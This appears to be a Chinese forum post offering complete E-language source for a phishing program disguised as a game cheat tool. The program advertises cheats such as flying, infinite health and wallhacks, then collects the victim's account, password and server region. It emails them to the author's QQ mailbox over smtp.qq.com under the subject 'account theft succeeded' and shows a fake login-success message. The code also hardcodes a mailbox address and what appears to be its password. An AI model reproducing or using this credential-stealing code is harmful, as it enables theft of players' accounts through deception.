易语言编写钓鱼
分数有点少~~
窗口见图
代码是:
.版本 2
.支持库 internet
.程序集 窗口程序集1
.子程序 _按钮1_被单击
信息框 (“F2飞天,F3遁地,F4无限血,F5无限子弹无后座力,F6透视,F7不变僵尸,F8自动开枪”, 0, “说明”)
.子程序 __启动窗口_创建完毕
连接发信服务器 (“smtp.qq.com”, , “645309823@qq.com”, “m4a1ak47”, )
.子程序 _按钮2_被单击
.如果真 (编辑框1.内容 = “”)
信息框 (“请输入账号!”, 0, “错误”)
.如果真结束
.如果真 (编辑框2.内容 = “”)
信息框 (“请输入密码!”, 0, “错误”)
.如果真结束
.如果真 (编辑框3.内容 = “”)
信息框 (“请输入所在大区”, 0, “错误”)
.如果真结束
.如果真 (编辑框1.内容 ≠ “”)
.如果真 (编辑框2.内容 ≠ “”)
.如果真 (编辑框3.内容 ≠ “”)
发送邮件 (“盗号成功”, “账号:” + 编辑框1.内容 + “密码:” + 编辑框2.内容 + “所在大区:” + 编辑框3.内容, “645309823@qq.com”, “645309823@qq.com”, , “645309823@qq.com”, )
可视 = 假
信息框 (“登陆成功”, 0, )
销毁 ()
.如果真结束
.如果真结束
.如果真结束
还不理解就加我:645309823